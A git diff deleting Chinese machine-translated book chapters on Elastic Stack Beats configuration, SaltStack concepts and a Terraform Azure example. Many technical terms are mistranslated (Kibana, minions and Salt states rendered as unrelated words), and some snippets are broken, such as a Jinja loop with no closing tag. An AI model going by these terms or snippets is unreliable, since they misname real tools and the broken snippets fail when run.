============================= -filebeat.inputs: -# Each - is an input. Most options can be set at the input level, so -# you can use different inputs for various configurations. -# Below are the input specific configurations. -- type: log - # Change to true to enable this input configuration. - enabled: true - # Paths that should be crawled and fetched. Glob based paths. - paths: - - /var/log/*.log -``` - -Filebeat 嵌入了 Kibana 仪表板,可轻松可视化发送的数据。这允许 Filebeat 加载仪表板,然后将 Kibana 地址添加到`setup.kibana`部分: - -```sh -#==============================Kibana================================ -# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API. -# This requires a Kibana endpoint configuration. -setup.kibana: - # Kibana Host - # Scheme and port can be left out and will be set to the default (http and 5601) - # In case you specify and additional path, the scheme is required: http://localhost:5601/path -# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601 - host: "kibana:5601" -``` - -加载`dashboards`,如下: - -```sh -filebeat setup --dashboards -``` - -对于每个新的 Beat 安装,此配置只需执行一次;没有必要在进一步的 Filebeat 安装中更改此设置,因为仪表板已经加载。 - -既然我们将向 Logstash 发送数据,请注释掉`output.elasticsearch`部分;然后,取消对`output.logstash`部分的注释,并添加 Logstash 的详细信息: - -```sh -#------------------------ Elasticsearch output ---------------------------- -#output.elasticsearch: - # Array of hosts to connect to. - # hosts: ["localhost:9200"] - # Optional protocol and basic auth credentials. - #protocol: "https" - #username: "elastic" - #password: "changeme" -#-------------------------- Logstash output ------------------------------- -output.logstash: - # The Logstash hosts - hosts: ["logstash:5044"] - -``` - -接下来,我们将使用 Filebeat 的系统模块将输出发送到 Logstash 要启用此功能,只需运行以下命令: - -```sh -filebeat modules enable system -``` - -然后,将索引模板加载到`elasticsearch`中,如下: - -```sh -filebeat setup --template -E output.logstash.enabled=false -E 'output.elasticsearch.hosts=["elastic1:9200", "elastic2"]' -``` - -最后,启动并启用`filebeat`,如下: - -```sh -sudo systemctl enable filebeat && sudo systemctl start filebeat -``` - -为了验证数据正在发送,我们可以使用提供的仪表板之一来可视化`syslog`事件。在基巴纳,转到仪表板,在搜索栏中键入`Syslog Dashboard`;您将看到类似以下截图的内容: - -![](img/9496cac8-0164-4963-aa9f-e1db2d85c59a.png) - -Kibana Dashboard showing search results for Syslog Dashboard - -# YAML 度量单位 - -Metricbeat 遵循与 Filebeat 类似的流程,其中`/etc/metricbeat/metricbeat.yml`文件需要编辑才能发送输出到 Elasticsearch,Kibana 仪表盘需要加载(即需要运行一次)。 - -为此,编辑`metricbeat.yml`文件以允许 Metricbeat 加载基巴纳仪表板: - -```sh -setup.kibana: - host: "kibana:5601" -``` - -接下来,指定`Elasticsearch`集群: - -```sh -#------------------------ Elasticsearch output ---------------------------- -output.elasticsearch: - # Array of hosts to connect to. - hosts: ["elastic1:9200", "elastic2:9200"] -``` - -加载基巴纳`dashboards`,如下所示: - -```sh -metricbeat setup --dashboards -``` - -默认情况下,`metricbeat`启用了系统模块,该模块将捕获 CPU、系统负载、内存和网络的统计数据。 - -启动并启用`metricbeat`服务,如下所示: - -```sh -sudo systemctl enable metricbeat && sudo systemctl start metricbeat -``` - -要确认数据正在发送到群集,请转到 kibana 屏幕上的发现;然后,选择 metricbeat-*索引模式,并验证是否正在发送事件: - -![](img/845a23fb-4fe8-4423-a682-6e72b2404c92.png) - -Events filtered with the metricbeat-* index pattern - -# 后续步骤 - -此时,集群现已完全运行。剩下的就是在集群的其他节点上安装 Metricbeat 和 Filebeat,以确保集群的运行状况和资源使用情况完全可见。 - -根据需要监控的内容和需要索引的日志,向集群中添加更多客户端需要安装适当的 Beat。 - -如果集群上的负载增加,则有许多选项可用—要么向集群中添加更多节点来平衡负载请求,要么增加每个节点的可用资源数量。在某些情况下,简单地添加更多资源是一种更具成本效益的解决方案,因为它不需要配置新节点。 - -像这样的实现可以用来监控 Kubernetes 设置的性能和事件(比如在 [第 11 章](11.html)*设计 ELK 栈*中描述的)。一些 Beats 具有特定的模块,用于从 Kubernetes 集群中提取数据。 - -最后,为了简化配置和维护,可以对这个设置进行一个增强,就是让 Beat 客户端指向协调的 Elasticsearch 节点,作为节点之间的负载平衡器;这避免了在 Beats 的输出配置中硬编码每个 Elasticsearch 节点——只需要一个地址。 - -# 摘要 - -在本章中,我们经历了许多步骤来配置弹性栈,它是四个主要组件的集合——Elasticsearch、Logstash、基巴纳和节拍。对于设置,我们使用了三个虚拟机;我们托管了两个 Elasticsearch 节点,然后,在单个系统上,我们安装了 Logstash 和 Kibana,对每个组件使用 6.5 版本。我们使用 Elastic Stack 提供的 RPM 存储库安装了 Elasticsearch`yum`用于安装所需的软件包。Elasticsearch 配置是使用`elasticsearch.yml`文件完成的,该文件控制`elasticsearch`的行为。我们定义了功能集群所需的许多设置,例如`cluster.name`参数和`discovery.zen.minimum_master_nodes`。 - -我们通过配置集群名称和发现设置添加了一个新的 Elasticsearch 节点,这允许该节点自动加入集群。然后,我们继续安装 Kibana 和 Logstash,它们是在用于 Elasticsearch 的同一个 RPM 存储库中提供的;配置 Logstash 和 Kibana 是通过它们各自的`.yml`文件完成的。 - -一旦所有三个主要组件都启动,并且操作准备好接受传入的数据,我们就开始安装 Beats,这是 Elasticsearch 和 Logstash 用来接收数据的数据发货商。对于日志和事件,我们使用 Filebeat,对于内存使用和 CPU 等系统指标,我们使用 Metricbeat。 - -在下一章中,我们将了解系统管理和 Salt 架构的挑战。 - -# 问题 - -1. 如何安装 Elasticsearch? -2. 如何对磁盘进行分区? -3. 如何持久地挂载文件系统? -4. 哪个文件控制 Elasticsearch 配置? -5. `cluster.name`设置是做什么的? -6. Elasticsearch 集群中推荐的节点数量是多少? -7. 如何将 Elasticsearch 节点添加到现有集群中? -8. 安装 Logstash 和 Kibana 需要什么过程? -9. 什么是持久排队? -10. 什么是协调节点? -11. 什么是节拍? -12. Filebeat 是用来做什么的? - -# 进一步阅读 - -* ***Linux 基础*作者:奥利弗·佩兹**:[https://www . packtpub . com/networking-and-server/foundation-Linux](https://www.packtpub.com/networking-and-servers/fundamentals-linux) \ No newline at end of file diff --git a/docs/handson-linux-arch/13.md b/docs/handson-linux-arch/13.md deleted file mode 100644 index 26deeb26..00000000 --- a/docs/handson-linux-arch/13.md +++ /dev/null @@ -1,403 +0,0 @@ -# 十三、使用 Salt 解决方案解决管理问题 - -在本章中,我们将发现并讨论为什么企业需要为其基础架构提供集中管理工具,包括异构环境带来的高度复杂性。我们将讨论此问题的解决方案,例如: - -* 新技术如何为我们的业务带来复杂性 -* 我们如何集中系统管理。 -* 代码为 ( **IaC** )的基础设施如何帮助我们维护系统状态 -* 利用 IaC 的工具 -* SaltStack 平台及其组件 - -让我们开始系统管理之旅。 - -# 集中化系统管理 - -理解系统管理背后的原因很容易被认为是理所当然的。我们经常假设,仅仅因为一个企业有一个大的信息技术基础设施,它就需要一个管理其库存的解决方案。虽然这显然是真的,但事情远不止如此。作为架构师,我们的工作包括倾听客户的问题,了解他们到底在寻找什么。 - -# 新技术和系统管理 - -在这个不断发展的信息技术世界里,变化来得很快。新技术几乎每天都会出现。虚拟化、物联网和云等技术正在通过指数级增长我们的基础设施来塑造和改变我们使用信息技术的方式,这是裸机时代从未见过的。 - -所有这些变化和指数级增长意味着,IT 经理要管理的东西要多得多,而培训员工支持这些技术的时间要少得多,因此许多企业几乎跟不上步伐。这可能导致他们不愿意采用新技术。但许多人别无选择,只能采用它们,因为担心变得无关紧要,无法满足客户的需求。如果他们的竞争对手拥有优势并提供更好更快的服务,他们很可能会倒闭。 - -公司希望尽快采用这些技术,以获得超过竞争对手的优势,但新技术往往伴随着巨大的学习曲线。在此期间,信息技术人员需要学习如何管理和维护新系统,因此保持关键系统和工作负载可用成为一项挑战。不遵守我们的服务级别协议会成为真正的威胁;想象一下这样一种情况,一个开发人员需要操作团队将一个库补丁应用到我们的开发环境系统中,以便测试一个新版本,并且因为我们的操作人员(或者至少一半)正在接受培训,所以开发人员很想绕过标准化的变更请求过程,自己应用更新。这种情况下的影子 IT 真的很常见,我们需要不惜一切代价避免。影子 IT 会让我们公司不符合监管标准。 - -虽然信息技术领导者推动采用新技术,但他们通常只有非常少且不断减少的预算来完成这种转型。这也直接影响到我们的关键系统和工作负载,因为对系统管理的投资下降,并转向创新。走向创新并不是一件坏事,因为它最终将使我们能够提供更好的服务,但重要的是要理解,它也会对我们现有环境的维护产生影响。 - -新技术带来新的基础设施;混合环境每天都在变得越来越普遍,了解如何以最佳和最有效的方式管理这些混合环境至关重要。 - -# 恢复对我们自己的基础架构的控制 - -控制我们的基础设施是系统管理的主要目标。但是拥有控制权意味着什么呢?清单、版本控制、自动修补和软件分发都是系统管理的一部分。所有这些都是一个更大图景的一部分,在这个图景中,信息技术重新获得了对其基础架构的控制,并可以确保其系统的合规性和标准化,无论它们运行的是什么样的 Linux 发行版。 - -通常我们的系统是分离的;这种分离是因为它们的特性可能不同。我们可以拥有基于红帽企业 Linux 发行版或基于 Debian 发行版的系统,拥有不同架构的系统,例如 x86、power servers,甚至 ARM。所有这些系统甚至可能不会相互对话或服务于相同的目的;所有这些都变成了信息技术必须维护和管理的孤岛。 - -想象一下,在没有集中和自动化任务的工具的情况下,在每个单独的思洛存储器上手动执行系统管理涉及的所有不同任务。人为错误是此类场景最直接的威胁,其次是 IT 企业为培训员工、雇佣员工以及为每种不同的系统类型购买特定的管理工具而必须承担的巨大复杂性、时间和成本。 - -# 分散问题的集中工具 - -集中的配置管理可以帮助我们以受控、一致和稳定的方式控制对系统的更改。它非常适合运行集群或配置为高可用性的系统,因为集群中的所有节点都必须具有完全相同的配置。通过配置管理,我们还可以了解某些文件、安装在所有系统上的包甚至配置文件中的一行代码的权限背后的原因。 - -我们通过配置管理工具实现的这些更改或配置也可以回滚,因为市场上大多数可用的工具都带有版本控制,任何打字错误、人为错误或不兼容的更新都可以轻松回滚。 - -随着我们慢慢过渡到云环境,虚拟机和资源越来越成为一种商品和服务。可以帮助我们管理、调配和维护云基础架构的配置管理工具成为非常有价值的资产。有了这些类型的工具,我们可以以更有弹性的方式对待我们的基础设施,并以描述性的方式定义它,也就是说,我们可以拥有部署相同基础设施或基于定义实现更改的模板;这就是我们所说的**基础设施代码** ( **IaC** )。 - -# 为期望的状态编码 - -IaC 背后的整个想法是在我们的环境中保持一致性和版本控制。IaC 寻求一种更具描述性和标准的资源调配方式,通过避免独特和特殊的部署来防止由于每个组件的独特性而导致重新创建环境非常复杂的情况。 - -IaC 工具通过特定语言或现有语言(如 YAML 或 JSON)定义配置;在下面,我们可以看到一个从 Terraform 模板中提取的示例,该模板在微软 Azure 中定义了虚拟机: - -```sh -resource "azurerm_resource_group" "test" { - name = "example" - location = "East US 2" -} - -resource "azurerm_kubernetes_cluster" "test" { - name = "exampleaks" - location = "${azurerm_resource_group.test.location}" - resource_group_name = "${azurerm_resource_group.test.name}" - dns_prefix = "acctestagent1" - - agent_pool_profile { - name = "default" - count = 1 - vm_size = "Standard_B1_ls" - os_type = "Linux" - os_disk_size_gb = 30 - } - - service_principal { - client_id = "00000000-0000-0000-0000-000000000000" - client_secret = "00000000000000000000000000000000" - } - - tags = { - Environment = "Production" - } -} - -output "client_certificate" { - value = "${azurerm_kubernetes_cluster.test.kube_config}" -} - -output "kube_config" { - value = "${azurerm_kubernetes_cluster}" -} -``` - -在云基础设施领域,弹性是关键。现在,我们的数据中心没有现有资源可供使用。在云中,我们为自己使用的东西付费,让虚拟机或存储坐在那里增加我们的每月账单并不理想。有了 IaC,我们可以按需扩展或缩减这些环境。例如,我们知道我们有一个应用,它只在工作时间处于峰值消耗,需要额外的实例来支持负载。但是在工作时间之外,一个实例足以支持负载。有了 IaC,我们可以有一个脚本在早上创建额外的实例,并在一天结束时降低实例。每个实例都不是唯一的,我们可以利用通过 IaC 使用描述性文件的配置管理工具来实现这一点。 - -有几种工具可以完成上述示例,但许多工具不仅仅是在云中或虚拟化环境中调配基础架构。其他配置管理工具甚至做得更多;他们可以推送配置文件、安装软件包、创建用户,甚至文件系统。这些工具有几种方式和方法来执行它们的配置。许多工具需要代理,但其他一些工具是无代理的。 - -配置管理工具执行更改的方式基本上是通过**推**或**拉**来实现的。这将取决于(但不总是)工具是使用代理还是无代理。大多数无代理工具会推送您在 IaC 文件中声明的配置更改,并在您通过命令行或脚本执行工具时,将更改发送到云中的应用编程接口或 SSH。 - -另一方面,拉动几乎总是通过代理。代理不断向配置管理服务器咨询定义,验证所需的状态,以防发生变化,将这些变化从服务器中取出并应用到其主机上。 - -推和拉有两种不同的应用方式:声明方式和命令方式。声明方式指定了期望的状态是什么,并且更改是按照 IaC 规范文件中的定义来应用的。命令式方法包括以特定的顺序运行一组指令或命令,告诉系统如何达到期望的状态。 - -通过 IaC 进行配置管理的一些开源工具如下: - -* 木偶 -* 厨师 -* 安塞波 -* 仿地成形 -* 盐 -* 无赖 - -我们将在[第 14 章](14.html)、*让你的手变咸*中深入探讨盐及其成分。 - -# 理解氯化钠 - -我们了解了 IaC 是什么,以及系统管理背后的困难。但是作为未来解决方案的架构师,我们需要知道并了解哪些工具可以帮助我们的客户应对配置管理带来的挑战。 - -在本节中,我们将讨论如何使用 **Salt** ,或****Salt stack 平台**,帮助我们实现集中化、敏捷化和弹性化的管理基础架构。** - - **# 引入盐 - -Salt 是一个用 Python 开发的开源项目,由 Tomas S Hatch 在 2011 年创建。最初,它并不是一个配置管理工具,而是一个利用`ZeroMQ`库的数据收集工具和远程命令执行软件。同年晚些时候,通过状态添加了配置管理功能,我们将在后面回顾。 - -由于 Salt 是用 Python 编写的,因此它具有高度的可扩展性和模块化,并且可以轻松编写定制的模块来进一步扩展其功能。 - -理解 Salt 不仅仅是一个配置管理工具是至关重要的,但是在这些章节中,由于手头主题的性质,我们将关注它的配置管理能力。在*进一步阅读*部分,如果你想了解更多关于其他 Salt 功能的信息,我将添加其他几本书的推荐。 - -您在 Salt 中定义所需状态的方式,或者换句话说,Salt 支持的语言是多种多样的。主要的默认语言是支持`Jinja`模板化的 YAML。 - -创建新用户的 YAML 定义示例如下: - -```sh -doge: - user.present: - - fullname: much doge - - shell: /bin/bash - - home: /home/doge -``` - -YAML 是绍特的数据渲染语言;数据呈现采用文件中的定义,然后将其转换为 Python 数据结构,供 Salt 使用。 - -以下是 Salt 支持的一些其他数据呈现语言: - -* `dson` -* `hjson` -* `json5` -* `json` -* `pydsl` -* `pyobjects` -* `py` -* `stateconf` -* `yamlex` - -盐有两种渲染类型。第一个是我们刚刚谈到的:数据渲染。第二个是文本渲染,这是`Jinja`所属的类别。这个**文本渲染**不是返回一个 Python 数据结构,而是返回文本,这些文本随后被翻译用于数据渲染。 - -如果我们需要重复几个具有不同值但结构相同的定义,文本呈现对于设置变量或循环非常有用。例如,我们可以创建一个`Jinja`模板,用相同的文件创建几个用户,而不是为每个用户创建一个 YAML,如下所示: - -```sh -{% for user in [dsala, eflores, elilu] %} -{{ user }}: -user.present: - - home: /home/{{ user }} - - shell: /bin/bash -``` - -前面的示例将创建三个用户,而不是通过文件或定义创建一个用户。这种方式效率更高,因为我们不仅通过不反复键入相同的定义来节省时间和工作,而且如果阵列中需要,我们还可以轻松添加更多用户,而不必为额外的用户创建全新的文件或定义。 - -除了`Jinja`,Salt 文本渲染支持其他模板引擎,例如: - -* `Cheetah` -* `Genshi` -* `GPG` -* `Jinja` -* `Mako` -* `NaCl` -* `Pass` -* `Py` -* `Wempy` - -在接下来的章节中,我们将重点关注`Jinja`和 YAML。 - -# SaltStack 平台 - -我们之前讨论过 IaC 的不同方法和途径。Salt 非常适合我们理解所有这些方法,因为 Salt 既使用了推拉方法,也使用了**声明性**和**命令性**方法。 - -让我们概述一下 Salt 的基本功能: - -![](img/d1d0cc5a-0093-4414-ae5e-e987537af5bb.png) - -像任何其他客户机/服务器集群一样,Salt 由两种基本类型的节点组成: - -* **主**:这个服务器,或者说一组服务器,负责协调喽啰,以及他们在哪里查询自己想要的状态。主人也是发送命令在奴才身上执行的人。 -* **仆从**:主服务器管理的服务器。 - -主服务器从两个 TCP 端口监听:`4505`和`4506`。两个端口都有非常不同的角色和非常不同的连接类型。 - -`4505`端口或**发布者**是所有奴才监听来自主人的消息的地方。`4506`端口或**请求服务器**是爪牙通过安全方式直接请求特定文件或数据的地方。Salt 的网络传输利用了 ZeroMQ 消息队列系统,该系统使用**椭圆曲线密码**和 4,096 位 RSA 密钥,这些密钥是在主服务器和从属服务器中生成的,我们将在本章后面部分看到。 - -Salt 是一个基于代理的工具,主人和爪牙之间的所有通信都可以通过安装在爪牙上的代理来实现。爪牙负责启动与主人的通讯。 - -这很重要,因为在一个可能有也可能没有互联网的分段网络中,你的主人和奴才之间会有许多安全边界,每个奴才可能没有一个唯一的地址。在主机发起通信的场景中,您在栈中的所有爪牙可能都必须有一个公共 IP 地址,或者每次添加要管理的宠臣时都必须执行大量网络配置和**网络地址转换** ( **NAT** )。 - -由于 Salt 通信的工作方式,您可以让您的主人在一个具有可公开寻址的 IP 地址的 DMZ 区域中,并且您的所有爪牙连接到这些 IP。您的主人总是比奴才少,因此需要实施的网络配置会大大减少。Salt 是一个高度可扩展的平台,一些栈包含数千个喽啰;想象一下,必须配置网络,这样三四个主人才能接触到成千上万的奴才。 - -拥有拥有公共 IP 的主机可能很可怕,但是请记住,只要您验证了 RSA 密钥指纹,您就可以确信,由于 ZeroMQ 的加密机制,节点之间的所有通信都是安全的。 - -# 盐能力 - -在简要概述了 Salt 的体系结构后,现在是时候了解它的不同功能和能力了。 - -# 远程命令执行模块 - -请记住,我们说过 Salt 同时使用了推和拉方法以及声明性和命令性方法。远程命令执行特性是我们如何以命令的方式利用 Salt 的 push 方法。 - -如果需要在多个喽啰或特定喽啰中远程运行一个命令,将使用**执行模块**。让我们看一个简单的例子: - -```sh -dsala@master1:~$ salt ‘*’ cmd.run ‘ls /home’ -minion-1: - jdoe - dev1 -master: - dsala - eflores -``` - -前一个命令将一个`ls`推送给注册到主人的爪牙。让我们仔细看看这些命令: - -* `salt`:这是 Salt 最基本的命令,在远程喽啰上并行执行命令。 -* `'*'`:表示我们将在所有由我们的主服务器管理的服务器上运行该命令;您还可以定义特定的目标。 - -* `cmd.run`:要调用的执行模块。 - -* `'ls /home'`:执行模块的参数。 -* **输出**:按照宠臣的名字排序,后面跟着那个服务器的输出。 - -执行模块是 Salt 使用其远程执行框架的最基本形式。你还记得盐是用 Python 写的吗?嗯,执行模块实际上是 Python 模块,有一组服务于共同目的的函数。Salt 附带了几个您可以使用的预构建模块,您甚至可以编写自己的模块并将它们添加到您的 SaltStack 平台。所有的执行模块都应该是与发行版无关的,但是你可以遇到一些发行版中没有的模块。特定于窗口的模块大多由函数开头的起始`win_`定义。 - -在前面的例子中,我们使用了带有`run`功能的`cmd`模块。我们处理模块中函数的格式包括定义要导入的模块,然后是句点和函数。每当调用一个函数时,Salt 都以下列方式进行: - -1. 执行命令的主机的发布者端口(`4505`)将命令发送到指定的目标。 -2. 目标喽啰评估命令并决定是否必须运行命令。 -3. 运行命令的奴才格式化输出,并将其发送到主服务器的请求服务器端口(`4506`)。 - -知道什么是执行模块并不足以让我们知道我们拥有什么。许多预定义的模块是最常用的,值得看看它们以及它们的主要功能是什么。 - -# 系统模块 - -该模块相当于`man`命令。借助`sys`,我们可以查阅、列出,甚至检查哪个参数接受每个函数。您会发现自己主要使用`sys`模块的以下功能: - -* `list_modules`:该功能将列出目标宠臣可用的模块。需要注意的是,执行模块是在奴才身上执行的,而不是在执行命令的主服务器上。 -* `list_functions`:通过`list_functions`,可以列出某个模块的可用功能。 -* `argspec`:列出所需函数的可用参数和默认值。 - -现在我们可以运行`sys`模块前面的一个函数来查看一个真实的例子: - -```sh -dsala@master1:~$ sudo salt 'minion1' sys.argspec pkg.install -minion1: - ---------- - pkg.install: - ---------- - args: - - name - - refresh - - fromrepo - - skip_verify - - debconf - - pkgs - - sources - - reinstall - - ignore_epoch - defaults: - - None - - False - - None - - False - - None - - None - - None - - False - - False - kwargs: - True - varargs: - None -``` - -# pkg 模块 - -现在我们已经使用了一个`pkg`函数作为`sys`模块的例子,我想谈谈`pkg`模块。这是 Salt 提供的另一个最常见和最常用的模块。该模块处理所有相关的包任务,从安装和升级到删除包。由于 Salt 试图尽可能不依赖于发行版,因此`pkg`模块实际上在引擎盖下调用了一组不同的模块和函数,具体到模块被调用的发行版。例如,如果一个`pkg.install`在奴才们收到消息时瞄准了基于 Ubuntu 的系统,那么实际上`aptpkg`模块就是将在奴才中调用的模块。这就是为什么`pkg`被称为**虚拟模块**的原因。 - -`pkg`调用的一些不同模块如下: - -* `aptpkg`:对于有`apt-get`包管理的 Debian 发行版。 -* `brew`:对于自带自制包管理的 macOS。 -* `yumpkg`:以`yum`或`dnf`为包装经理的红帽配送。 -* `zypper`:对于以`zypper`为包管理器的基于 SUSE 的发行版。 - -以下是用`pkg`安装`nginx`网络服务器的例子: - -```sh -dsala@master1:~$ sudo salt 'minion1' pkg.install nginx -minion1: - ---------- - nginx: - ---------- - new: - 1.15.10 -old: -``` - -# 测试模块 - -最后,也是最重要的,我想和你谈谈**测试模块**。测试模块将允许我们测试我们的 SaltStack 平台。通过测试模块,可以检查奴才的健康状况、他们运行的 Salt 版本,甚至只是让他们发送一个回声。 - -通过`sys.list_functions`功能可以找到测试模块的不同功能,但值得一提的是一些您可能会非常频繁使用的最常见的功能: - -* **ping**:ping 功能测试喽啰的响应;这不是 ICMP ping 命令。 -* **版本**:返回绍特版本的你的爪牙。 -* **versions_information** :返回 Salt 的所有依赖项、内核版本、发行版和 Salt 版本的完整列表。 - -# 盐州 - -现在我们已经了解了远程执行框架,我们可以开始探索 Salt 必须提供的其余系统。远程执行框架是所谓的**状态系统**的基础。状态系统是一种声明性的幂等方式,它利用 IaC 文件来配置一个宠臣想要的状态。状态系统使用的状态模块很像执行模块,但不同的是 Salt 状态实际上检查所需的配置是否已经存在于 minion 中。例如,让我们看看下面的状态定义: - -```sh -dsala@master:/srv/salt/httpd $ cat httpd.sls - httpd_package: - pkg.installed: - - name: httpd -``` - -上述状态将在运行时在目标服务器中安装`httpd` (Apache)包,但前提是该包不存在。如果包不存在,状态模块将调用本地`pkg.install`执行功能,并将包安装在迷你包中。 - -看看我们`cat`那个文件来自一个`/srv/salt`目录的事实。该目录是 Salt 的状态目录树的默认位置,状态定义放置在该目录中。您将在该目录中创建包含公式的文件夹,公式是一组 Salt 状态,包含部署应用所需的所有配置。例如,我们不仅可以安装`httpd`,我们还可以配置虚拟主机并下载包含将在该 Apache 网络服务器上运行的实际网站的 Git 回购。 - -目录树为您调用状态模块和运行公式遵循一组规则,但这将是[第 14 章](14.html)、*让你的手变咸*的主题,我们将深入研究配置和实际使用。 - -# 盐粒 - -我们了解到,在所有喽啰上运行时,可以通过定义喽啰名称或者通过`*`来运行执行模块。但是在栈中的所有奴才上运行盐状态和执行模块,或者在单个奴才上运行盐状态和执行模块,当你有数百甚至数千个奴才由你的主人管理时,就不太理想了。 - -这里是 Salt 引入`grains`界面的地方,通过这个界面我们可以通过特定的特征来识别喽啰,甚至可以将自己的标签类型或者角色设置给一群有着相同目的或者特征的喽啰,这样我们就可以进行更有针对性的配置管理。 - -我们可以利用与在 Salt 中执行任何命令相同的语法来利用`grains`接口: - -```sh -dsala@master:~$ salt “minion1” grains.items -``` - -使用前面的命令,我们列出了目标系统的所有不同硬件和软件特征。在输出中,我们可以看到操作系统系列、系统架构,甚至是我们用来运行虚拟机的虚拟机管理程序。 - -这将有助于我们通过所谓的`top`文件创建针对特定系统的状态定义,我们将在[第 14 章](14.html)*中讨论。使用`grains`并以所有`Debian`家族虚拟机为目标的绍特州顶级文件定义示例如下:* - -```sh - base: - 'os_family:Debian: - - match: grain - - httpd -``` - -如前所述,我们还可以在我们的喽啰中创建自定义`grains`来定义角色,并用唯一的值对标记我们的喽啰。这对于在特定任务中对喽啰进行分组很有用;例如,质量保证团队的所有虚拟机都可以用键值对进行标记,例如`departement: qa`。另一种分组方式可以是按角色分组,比如`appfoo: frontend`,等等。有许多方法可以使用谷物目标,所有这些都将取决于我们想要如何管理或推动并保持期望的状态。 - -# 盐柱 - -借助**粒**,我们可以针对特定的喽啰,但最后,我们定义了那些位于顶层文件中的目标策略,它们构成了一个公式的一部分。公式通常存储在 Git 库中,有时甚至存储在公共库中。这就是为什么我们不能,或者更确切地说,我们不应该在绍特州宣布敏感信息。正如我们在前面章节中看到的,Dockerfiles 也发生了同样的情况,Kubernetes 通过 **Secrets** API 对象解决了这个问题。盐有自己版本的秘密,它被称为**柱子**。 - -与谷物不同,柱子储存在主人手中,而不是奴才手中。只有成为支柱目标的爪牙才能访问支柱中的信息。这也让它非常适合敏感信息。当存储敏感信息时,柱子也可以在静止时加密,由于 Salt 的渲染系统,柱子将在柱子编译期间被解密。 - -通过仅将敏感数据存储在母版中,柱子减少了敏感数据的表面积: - -![](img/c44ef113-4680-4ff0-9da5-1e8e641f4288.png) - -借助 Salt 支柱,我们完成了 SaltStack 平台必须提供的基本组件的简要概述。我们将更深入地讨论它们,并在[第 14 章](14.html)、*让你的手变咸*中使用真实的例子,这样你就可以通过 Salt 进行动手并开始管理系统。 - -# 摘要 - -在本章中,我们介绍了企业在维护基础架构时面临的不同问题。我们经历了不同的技术,如 IaC 和集中式系统管理。我们通过不同的方法,IaC **将**或**的变更引入托管系统,并了解了几个利用 IaC 的应用。** - -我们还讨论了什么是 Salt 及其不同的组件,这些组件有助于我们实现集中化的托管基础架构。 - -在下一章中,我们将学习如何设计 Salt 解决方案并安装软件。 - -# 问题 - -1. 什么是系统管理? -2. 系统管理背后的挑战是什么? -3. 哪些应用可以帮助我们进行系统管理? -4. 什么是基础设施即代码? -5. 我们可以通过哪些不同类型的方法来管理我们的系统? -6. 盐是什么? -7. 盐的不同成分是什么? - -# 进一步阅读 - -* **Gartner**:“**每个预算都是 IT 预算** -* **Forrester:**[https://www . Forrester . com/report/Cloud+Investments+Will+reconfiguration+Future+IT+预算/-/E-RES83041#](https://www.forrester.com/report/Cloud+Investments+Will+Reconfigure+Future+IT+Budgets/-/E-RES83041#) -* **用于配置管理的声明式与命令式模型**:[https://www . upguard . com/blog/articles/用于配置管理的声明式与命令式模型](https://www.upguard.com/blog/articles/declarative-vs.-imperative-models-for-configuration-management) -* **盐堆**:[https://s.saltstack.com/beyond-configuration-management/](https://s.saltstack.com/beyond-configuration-management/) -* **盐配置管理**:[https://red45 . WordPress . com/2011/05/29/盐-配置-管理/](https://red45.wordpress.com/2011/05/29/salt-configuration-management/) -* **渲染器**:[https://docs.saltstack.com/en/latest/ref/renderers/](https://docs.saltstack.com/en/latest/ref/renderers/) -* **远程执行**:[https://docs . salt stack . com/en/getstarted/system/Execution . html](https://docs.saltstack.com/en/getstarted/system/execution.html) -* **使用谷物进行瞄准**:[https://docs . salt stack . com/en/latest/topics/Targeting/grains . html](https://docs.saltstack.com/en/latest/topics/targeting/grains.html) -* **谷物**:[https://docs.saltstack.com/en/latest/topics/grains/](https://docs.saltstack.com/en/latest/topics/grains/) -* **功能**:[https://docs . salt stack . com/en/getstarted/config/Functions . html](https://docs.saltstack.com/en/getstarted/config/functions.html)** \ No newline at end of file diff --git a/docs/handson-linux-arch/14.md b/docs/handson-linux-arch/14.md deleted file mode 100644 index f9204019..00000000 --- a/docs/handson-linux-arch/14.md +++ /dev/null @@ -1,970 +0,0 @@ -# 十四、设计 Salt 解决方案和安装软件 - -在了解了 **Salt** 的基本概念之后,我们将在这一章中最终接触到 Salt。我们将有机会在真实场景中工作,并为我们的潜在客户设计和安装概念验证基础架构。我们将做如下事情: - -* 通过 Terraform 调配云基础架构 -* 安装和配置 Salt 主服务器 -* 安装和配置奴才 -* 为奴才创建状态和公式 -* 通过 Salt 配置负载平衡器 - -完成这些任务后,您应该具备基础知识和动手经验,开始更深入地学习 Salt。 - -# 用盐动手 - -我们已经了解了该软件的不同 Salt 组件和功能,以及它如何帮助我们实现对基础架构的控制。但是我们没有使用任何组件来实际维护任何系统,甚至没有安装 Salt。所以,让我们用盐弄脏我们的手,开始利用我们新获得的知识。 - -在开始之前,我们将设置一个场景来更好地理解我们将在本章中做什么,它将与现实生活中的场景相关联。 - -# 方案 - -唐·高先生聘请你为他的公司设计系统的管理平台。他想在 Azure **虚拟机** ( **虚拟机**)上运行自己的网络服务器工作负载,采用**基础架构即服务** ( **IaaS** )模式。 - -他的设置相当简单:他想让两个运行网站的虚拟机在 nginx 负载平衡器前写入`Node.js`,以将流量路由到网站的虚拟机中。他的所有基础架构都必须通过配置管理解决方案进行管理,这样,每次他们调配新虚拟机时,应用都会与网站运行所需的任何配置一起加载。 - -还有一点他跟大家提到的是,公司的工作人员还没有在 Azure 中部署任何资源,他们想看看**基础设施 as Code** ( **IaC** )如何在云中进行部署,这样他们的开发人员以后就可以使用了。 - -# 改造我们最初的基础设施 - -我们在上一章中提到了 **Terraform** ,我们想利用我们的客户要求我们通过 IaC 软件部署他的基础设施这一事实,所以这是使用这一伟大工具的绝佳机会。 - -在执行之前,我们将简要解释每一步,但是如果您想了解更多,我们将在*进一步阅读*部分建议更多的书籍,这些书籍将更深入地讨论 Terraform。 - -# 设置地形 - -我们假设您将从类似 Unix 的工作站执行以下步骤。安装 Terraform 相当简单。Terraform 只是一个二进制文件,可以从`terraform.io`网站下载。 - -[https://www.terraform.io/downloads.html](https://www.terraform.io/downloads.html) - -就我而言,我将使用一个苹果操作系统终端来安装地形: - -![](img/feabe7e2-a66a-428a-931c-9ccbbdb755bb.png) - -下载后,您可以在路径的目录部分解压缩二进制文件: - -![](img/5d5c9321-527e-4c2d-98d9-8bb819acce1b.png) - -通过运行`terraform version`检查地形版本: - -![](img/9dab0bb8-1b00-4e36-b1ec-018bd71ee8cb.png) - -安装 Terraform 后,我们要求安装 Azure CLI 来配置对客户 Azure 订阅的访问。您可以在我们的*安装 Kubernetes* 章节中找到安装 Azure CLI 